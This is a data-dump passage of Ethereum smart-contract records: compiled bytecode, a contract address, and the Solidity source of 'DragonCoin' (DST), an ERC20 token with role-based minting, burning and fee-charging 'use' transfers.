1144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b600354600090600160a060020a031633146108bd57600080fd5b60035474010000000000000000000000000000000000000000900460ff16156108e557600080fd5b6003805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600354600160a060020a031681565b60408051808201909152600381527f5852540000000000000000000000000000000000000000000000000000000000602082015281565b336000908152602081905260408120548211156109ab57600080fd5b600160a060020a03831615156109c057600080fd5b336000908152602081905260409020546109e0908363ffffffff610b4016565b3360009081526020819052604080822092909255600160a060020a03851681522054610a12908363ffffffff610b5216565b600160a060020a03841660008181526020818152604091829020939093558051858152905191923392600080516020610cd38339815191529281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a0386168452909152812054610a90908363ffffffff610b5216565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a03163314610b3757600080fd5b61072881610c54565b600082821115610b4c57fe5b50900390565b81810182811015610b5f57fe5b92915050565b600160a060020a038216600090815260208190526040902054811115610b8a57600080fd5b600160a060020a038216600090815260208190526040902054610bb3908263ffffffff610b4016565b600160a060020a038316600090815260208190526040902055600154610bdf908263ffffffff610b4016565b600155604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2604080518281529051600091600160a060020a03851691600080516020610cd38339815191529181900360200190a35050565b600160a060020a0381161515610c6957600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820de1fb5ce69219c22add6570990798519eff4c564bda5b81db9e9fa4487b642f50029
{"success": true, "error": null, "results": {}}
542
0xC5807256e2E2Fe85ca94C3617C4Bc5ff2Bd9cfB6
pragma solidity ^0.4.21; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Usable { function use(address to, uint256 value, uint256 useType, uint256 param1, uint256 param2, uint256 param3, string param4) external; function setUseAddr(address addr) external; function setFee(uint256 useType, uint16 feeType, uint256 fee) external; event UseSucc(address indexed from, address indexed to, uint256 useType, uint256 value, uint256 fee, uint256 param1, uint256 param2, uint256 param3, string param4); event UseFail(address indexed from, address indexed to, uint256 useType, uint256 value, uint256 fee, uint256 param1, uint256 param2, uint256 param3, string param4); } contract DragonCoin is StandardToken, Usable { using SafeMath for uint256; event Mint(address indexed to, uint256 value); event Burn(address indexed burner, uint256 value); string public name = "DragonSeriesToken"; string public symbol = "DST"; uint public decimals = 18; uint public INITIAL_SUPPLY = 1100000 * (10 ** decimals); uint public MAX_SUPPLY = 10 * 100000000 * (10 ** decimals); address public ceo; address public coo; address public cfo; UseInterface public useAddr; // key = useType, value = UseFee mapping (uint256 => UseFee) public useFees; uint private _maxPercentFee = 1000000; struct UseFee { uint16 feeType; // 1: fixed, 2: percentage uint256 fee; // feeType=1: DST, feeType=2: 0-1000000 (0.0000% - 100.0000%) } function DragonCoin() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; ceo = msg.sender; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } function setCEO(address newCEO) public onlyCEO{ require(newCEO != address(0)); ceo = newCEO; } function setCOO(address newCOO) public onlyCEO{ require(newCOO != address(0)); coo = newCOO; } function setCFO(address newCFO) public onlyCEO{ require(newCFO != address(0)); cfo = newCFO; } function mint(uint256 value) public onlyCFO returns (bool) { require(totalSupply_.add(value) <= MAX_SUPPLY); balances[cfo] = balances[cfo].add(value); totalSupply_ = totalSupply_.add(value); // mint event emit Mint(cfo, value); emit Transfer(0x0, cfo, value); return true; } function burn(uint256 value) public onlyCOO returns (bool) { require(balances[coo] >= value); balances[coo] = balances[coo].sub(value); totalSupply_ = totalSupply_.sub(value); // burn event emit Burn(coo, value); emit Transfer(coo, 0x0, value); return true; } // Useable function setUseAddr(address addr) external onlyCOO{ useAddr = UseInterface(addr); } function setFee(uint256 useType, uint16 feeType, uint256 fee) external onlyCOO{ require(feeType == 1 || feeType == 2); if(feeType == 2){ require(fee <= _maxPercentFee); } UseFee memory ufee = UseFee({ feeType: feeType, fee: fee }); useFees[useType] = ufee; } function use(address to, uint256 value, uint256 useType, uint256 param1, uint256 param2, uint256 param3, string param4) external { require(useAddr != address(0)); require(balances[msg.sender] >= value); require(to != address(0) && cfo != address(0)); UseFee memory ufee = useFees[useType]; require(ufee.feeType == 1 || ufee.feeType == 2); uint256 actualFee = 0; if(ufee.feeType == 1){ // fixed fee actualFee = ufee.fee; }else if(ufee.feeType == 2){ // percentage fee actualFee = value.mul(ufee.fee).div(_maxPercentFee); } uint256 actualVal = value.sub(actualFee); if(useAddr.use(msg.sender, to, value, useType, param1, param2, param3, param4)){ // transfer token balances[msg.sender] = balances[msg.sender].sub(value); balances[to] = balances[to].add(actualVal); emit Transfer(msg.sender, to, actualVal); if(actualFee > 0){ balances[cfo] = balances[cfo].add(actualFee); emit Transfer(msg.sender, cfo, actualFee); } emit UseSucc(msg.sender, to, useType, value, actualFee, param1, param2, param3, param4); }else{ emit UseFail(msg.sender, to, useType, value, actualFee, param1, param2, param3, param4); } } /// @dev Access modifier for CEO-only functionality modifier onlyCEO() { require(msg.sender == ceo); _; } /// @dev Access modifier for CFO-only functionality modifier onlyCFO() { require(msg.sender == cfo); _; } /// @dev Access modifier for COO-only functionality modifier onlyCOO() { require(msg.sender == coo); _; } } contract UseInterface { function use(address from, address to, uint256 value, uint256 useType, uint256 param1, uint256 param2, uint256 param3, string param4) external returns (bool); }
0x608060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461015957806307cdee49146101e9578063095ea7b31461024057806311a881e8146102a557806318160ddd146102ea5780631ed2034714610315578063212cdffc1461036c5780632182ebbf146103bc57806323b872dd1461044957806327d7874c146104ce5780632ba73c15146105115780632ff2e9dc14610554578063313ce5671461057f57806332cb6b0c146105aa57806342966c68146105d55780634e0a33791461061a578063661884631461065d57806370a08231146106c2578063908921fc1461071957806395d89b4114610770578063a0712d6814610800578063a9059cbb14610845578063b280a96e146108aa578063d73dd623146108ed578063dd62ed3e14610952578063fa73f074146109c9575b600080fd5b34801561016557600080fd5b5061016e610a20565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101ae578082015181840152602081019050610193565b50505050905090810190601f1680156101db5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101f557600080fd5b506101fe610abe565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561024c57600080fd5b5061028b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ae4565b604051808215151515815260200191505060405180910390f35b3480156102b157600080fd5b506102e860048036038101908080359060200190929190803561ffff16906020019092919080359060200190929190505050610bd6565b005b3480156102f657600080fd5b506102ff610ce0565b6040518082815260200191505060405180910390f35b34801561032157600080fd5b5061032a610cea565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561037857600080fd5b5061039760048036038101908080359060200190929190505050610d10565b604051808361ffff1661ffff1681526020018281526020019250505060405180910390f35b3480156103c857600080fd5b50610447600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803590602001908201803590602001919091929391929390505050610d42565b005b34801561045557600080fd5b506104b4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611558565b604051808215151515815260200191505060405180910390f35b3480156104da57600080fd5b5061050f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611912565b005b34801561051d57600080fd5b50610552600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119ee565b005b34801561056057600080fd5b50610569611aca565b6040518082815260200191505060405180910390f35b34801561058b57600080fd5b50610594611ad0565b6040518082815260200191505060405180910390f35b3480156105b657600080fd5b506105bf611ad6565b6040518082815260200191505060405180910390f35b3480156105e157600080fd5b5061060060048036038101908080359060200190929190505050611adc565b604051808215151515815260200191505060405180910390f35b34801561062657600080fd5b5061065b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d86565b005b34801561066957600080fd5b506106a8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611e62565b604051808215151515815260200191505060405180910390f35b3480156106ce57600080fd5b50610703600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506120f3565b6040518082815260200191505060405180910390f35b34801561072557600080fd5b5061072e61213b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561077c57600080fd5b50610785612161565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107c55780820151818401526020810190506107aa565b50505050905090810190601f1680156107f25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561080c57600080fd5b5061082b600480360381019080803590602001909291905050506121ff565b604051808215151515815260200191505060405180910390f35b34801561085157600080fd5b50610890600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061245f565b604051808215151515815260200191505060405180910390f35b3480156108b657600080fd5b506108eb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061267e565b005b3480156108f957600080fd5b50610938600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061271e565b604051808215151515815260200191505060405180910390f35b34801561095e57600080fd5b506109b3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061291a565b6040518082815260200191505060405180910390f35b3480156109d557600080fd5b506109de6129a1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ab65780601f10610a8b57610100808354040283529160200191610ab6565b820191906000526020600020905b815481529060010190602001808311610a9957829003601f168201915b505050505081565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b610bde612a54565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c3a57600080fd5b60018361ffff161480610c51575060028361ffff16145b1515610c5c57600080fd5b60028361ffff161415610c7b57600d548211151515610c7a57600080fd5b5b60408051908101604052808461ffff16815260200183815250905080600c600086815260200190815260200160002060008201518160000160006101000a81548161ffff021916908361ffff1602179055506020820151816001015590505050505050565b6000600154905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c6020528060005260406000206000915090508060000160009054906101000a900461ffff16908060010154905082565b610d4a612a54565b600080600073ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151515610dab57600080fd5b896000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610df857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff1614158015610e845750600073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b1515610e8f57600080fd5b600c60008a81526020019081526020016000206040805190810160405290816000820160009054906101000a900461ffff1661ffff1661ffff16815260200160018201548152505092506001836000015161ffff161480610ef857506002836000015161ffff16145b1515610f0357600080fd5b600091506001836000015161ffff161415610f245782602001519150610f64565b6002836000015161ffff161415610f6357610f60600d54610f5285602001518d6129c790919063ffffffff16565b612a0290919063ffffffff16565b91505b5b610f77828b612a1d90919063ffffffff16565b9050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c8e2fca0338d8d8d8d8d8d8d8d6040518a63ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200188815260200187815260200186815260200185815260200184815260200180602001828103825284848281815260200192508082843782019150509a5050505050505050505050602060405180830381600087803b1580156110b457600080fd5b505af11580156110c8573d6000803e3d6000fd5b505050506040513d60208110156110de57600080fd5b81019080805190602001909291905050501561149b576111458a6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a1d90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111d8816000808e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a3690919063ffffffff16565b6000808d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a360008211156113e7576112fb82600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a3690919063ffffffff16565b600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35b8a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fb1c9cd72d1f92bd6a17ec488b5ba886b38fccf255fc9c6de5488dcdfd21c1ac88b8d868d8d8d8d8d604051808981526020018881526020018781526020018681526020018581526020018481526020018060200182810382528484828181526020019250808284378201915050995050505050505050505060405180910390a361154b565b8a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f2e5d1fb6cc613913c4a9b787d4902de331dc8b85e17eeaedb74e9e87142992698b8d868d8d8d8d8d604051808981526020018881526020018781526020018681526020018581526020018481526020018060200182810382528484828181526020019250808284378201915050995050505050505050505060405180910390a35b5050505050505050505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561159557600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156115e257600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561166d57600080fd5b6116be826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a1d90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611751826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a3690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061182282600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a1d90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561196e57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156119aa57600080fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a4a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611a8657600080fd5b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60065481565b60055481565b60075481565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b3a57600080fd5b81600080600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611ba957600080fd5b611c1c82600080600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a1d90919063ffffffff16565b600080600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c9582600154612a1d90919063ffffffff16565b600181905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050919050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611de257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611e1e57600080fd5b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611f73576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612007565b611f868382612a1d90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156121f75780601f106121cc576101008083540402835291602001916121f7565b820191906000526020600020905b8154815290600101906020018083116121da57829003601f168201915b505050505081565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561225d57600080fd5b60075461227583600154612a3690919063ffffffff16565b1115151561228257600080fd5b6122f582600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a3690919063ffffffff16565b600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236e82600154612a3690919063ffffffff16565b600181905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a2600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561249c57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156124e957600080fd5b61253a826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a1d90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125cd826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a3690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156126da57600080fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006127af82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a3690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c